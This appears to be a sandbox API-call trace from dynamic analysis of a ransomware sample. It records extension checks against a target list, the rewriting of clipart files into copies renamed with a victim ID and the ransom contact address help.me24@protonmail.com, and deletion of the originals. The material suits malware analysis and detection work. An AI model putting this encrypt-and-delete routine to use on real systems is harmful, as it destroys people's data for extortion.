	[0089.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.314] lstrlenW (lpString=".doc") returned 4
	[0089.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.314] lstrlenW (lpString=".docx") returned 5
	[0089.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.314] lstrlenW (lpString=".pdf") returned 4
	[0089.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.314] lstrlenW (lpString=".xls") returned 4
	[0089.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.314] lstrlenW (lpString=".xlsx") returned 5
	[0089.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.314] lstrlenW (lpString=".ppt") returned 4
	[0089.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.314] lstrlenW (lpString=".zip") returned 4
	[0089.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.314] lstrlenW (lpString=".rar") returned 4
	[0089.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.314] lstrlenW (lpString=".bz2") returned 4
	[0089.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.314] lstrlenW (lpString=".7z") returned 3
	[0089.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.314] lstrlenW (lpString=".dbf") returned 4
	[0089.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.314] lstrlenW (lpString=".1cd") returned 4
	[0089.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0089.315] lstrlenW (lpString=".jpg") returned 4
	[0089.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.315] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.315] lstrlenW (lpString="DD00121_.WMF") returned 12
	[0089.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.317] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=8256) returned 1
	[0089.317] CloseHandle (hObject=0x2bc) returned 1
	[0089.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220
	[0089.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.317] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.317] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.317] GetLastError () returned 0x0
	[0089.317] ReadFile (in: hFile=0x2bc, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2040, lpOverlapped=0x0) returned 1
	[0089.325] WriteFile (in: hFile=0x38c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2050, lpOverlapped=0x0) returned 1
	[0089.326] ReadFile (in: hFile=0x2bc, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.326] WriteFile (in: hFile=0x38c, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.326] SetEndOfFile (hFile=0x38c) returned 1
	[0089.326] CloseHandle (hObject=0x38c) returned 1
	[0089.326] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.326] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.327] CloseHandle (hObject=0x2bc) returned 1
	[0089.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1
	[0089.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.328] lstrlenW (lpString=".doc") returned 4
	[0089.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.328] lstrlenW (lpString=".docx") returned 5
	[0089.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.328] lstrlenW (lpString=".pdf") returned 4
	[0089.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.328] lstrlenW (lpString=".xls") returned 4
	[0089.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.328] lstrlenW (lpString=".xlsx") returned 5
	[0089.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.328] lstrlenW (lpString=".ppt") returned 4
	[0089.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.328] lstrlenW (lpString=".zip") returned 4
	[0089.328] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.328] lstrlenW (lpString=".rar") returned 4
	[0089.328] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.328] lstrlenW (lpString=".bz2") returned 4
	[0089.328] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.328] lstrlenW (lpString=".7z") returned 3
	[0089.328] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.328] lstrlenW (lpString=".dbf") returned 4
	[0089.328] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.328] lstrlenW (lpString=".1cd") returned 4
	[0089.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.328] lstrlenW (lpString=".jpg") returned 4
	[0089.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.329] lstrlenW (lpString=".doc") returned 4
	[0089.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.329] lstrlenW (lpString=".docx") returned 5
	[0089.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.329] lstrlenW (lpString=".pdf") returned 4
	[0089.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.329] lstrlenW (lpString=".xls") returned 4
	[0089.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.329] lstrlenW (lpString=".xlsx") returned 5
	[0089.329] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.329] lstrlenW (lpString=".ppt") returned 4
	[0089.329] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.329] lstrlenW (lpString=".zip") returned 4
	[0089.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.329] lstrlenW (lpString=".rar") returned 4
	[0089.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.329] lstrlenW (lpString=".bz2") returned 4
	[0089.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.329] lstrlenW (lpString=".7z") returned 3
	[0089.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.329] lstrlenW (lpString=".dbf") returned 4
	[0089.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.329] lstrlenW (lpString=".1cd") returned 4
	[0089.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68
	[0089.329] lstrlenW (lpString=".jpg") returned 4
	[0089.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.330] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.330] lstrlenW (lpString="DD00234_.WMF") returned 12
	[0089.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.333] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=29628) returned 1
	[0089.333] CloseHandle (hObject=0x38c) returned 1
	[0089.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220
	[0089.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.334] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.334] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0089.334] GetLastError () returned 0x0
	[0089.334] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x73bc, lpOverlapped=0x0) returned 1
	[0089.337] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x73c0, lpOverlapped=0x0) returned 1
	[0089.339] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.339] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.339] SetEndOfFile (hFile=0x398) returned 1
	[0089.339] CloseHandle (hObject=0x398) returned 1
	[0089.339] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.339] SetEndOfFile (hFile=0x38c) returned 1
	[0089.340] CloseHandle (hObject=0x38c) returned 1
	[0089.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1
	[0089.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.341] lstrlenW (lpString=".doc") returned 4
	[0089.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.341] lstrlenW (lpString=".docx") returned 5
	[0089.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.341] lstrlenW (lpString=".pdf") returned 4
	[0089.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.341] lstrlenW (lpString=".xls") returned 4
	[0089.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.341] lstrlenW (lpString=".xlsx") returned 5
	[0089.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.341] lstrlenW (lpString=".ppt") returned 4
	[0089.341] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.341] lstrlenW (lpString=".zip") returned 4
	[0089.341] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.341] lstrlenW (lpString=".rar") returned 4
	[0089.341] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.341] lstrlenW (lpString=".bz2") returned 4
	[0089.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.341] lstrlenW (lpString=".7z") returned 3
	[0089.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.341] lstrlenW (lpString=".dbf") returned 4
	[0089.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.341] lstrlenW (lpString=".1cd") returned 4
	[0089.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.341] lstrlenW (lpString=".jpg") returned 4
	[0089.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.342] lstrlenW (lpString=".doc") returned 4
	[0089.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.342] lstrlenW (lpString=".docx") returned 5
	[0089.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.342] lstrlenW (lpString=".pdf") returned 4
	[0089.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.342] lstrlenW (lpString=".xls") returned 4
	[0089.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.342] lstrlenW (lpString=".xlsx") returned 5
	[0089.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.342] lstrlenW (lpString=".ppt") returned 4
	[0089.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.342] lstrlenW (lpString=".zip") returned 4
	[0089.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.342] lstrlenW (lpString=".rar") returned 4
	[0089.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.342] lstrlenW (lpString=".bz2") returned 4
	[0089.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.342] lstrlenW (lpString=".7z") returned 3
	[0089.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.342] lstrlenW (lpString=".dbf") returned 4
	[0089.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.342] lstrlenW (lpString=".1cd") returned 4
	[0089.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0089.342] lstrlenW (lpString=".jpg") returned 4
	[0089.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.342] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.342] lstrlenW (lpString="DD00255_.WMF") returned 12
	[0089.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.343] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2690) returned 1
	[0089.343] CloseHandle (hObject=0x38c) returned 1
	[0089.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x220
	[0089.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.343] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.343] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0089.344] GetLastError () returned 0x0
	[0089.344] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xa82, lpOverlapped=0x0) returned 1
	[0089.940] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xa90, lpOverlapped=0x0) returned 1
	[0089.941] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.941] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.941] SetEndOfFile (hFile=0x398) returned 1
	[0089.941] CloseHandle (hObject=0x398) returned 1
	[0089.942] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.942] SetEndOfFile (hFile=0x38c) returned 1
	[0089.942] CloseHandle (hObject=0x38c) returned 1
	[0089.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf")) returned 1
	[0089.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.943] lstrlenW (lpString=".doc") returned 4
	[0089.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.943] lstrlenW (lpString=".docx") returned 5
	[0089.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.943] lstrlenW (lpString=".pdf") returned 4
	[0089.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.943] lstrlenW (lpString=".xls") returned 4
	[0089.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.943] lstrlenW (lpString=".xlsx") returned 5
	[0089.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.943] lstrlenW (lpString=".ppt") returned 4
	[0089.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.944] lstrlenW (lpString=".zip") returned 4
	[0089.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.944] lstrlenW (lpString=".rar") returned 4
	[0089.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.944] lstrlenW (lpString=".bz2") returned 4
	[0089.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.944] lstrlenW (lpString=".7z") returned 3
	[0089.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.944] lstrlenW (lpString=".dbf") returned 4
	[0089.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.944] lstrlenW (lpString=".1cd") returned 4
	[0089.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 68
	[0089.944] lstrlenW (lpString=".jpg") returned 4
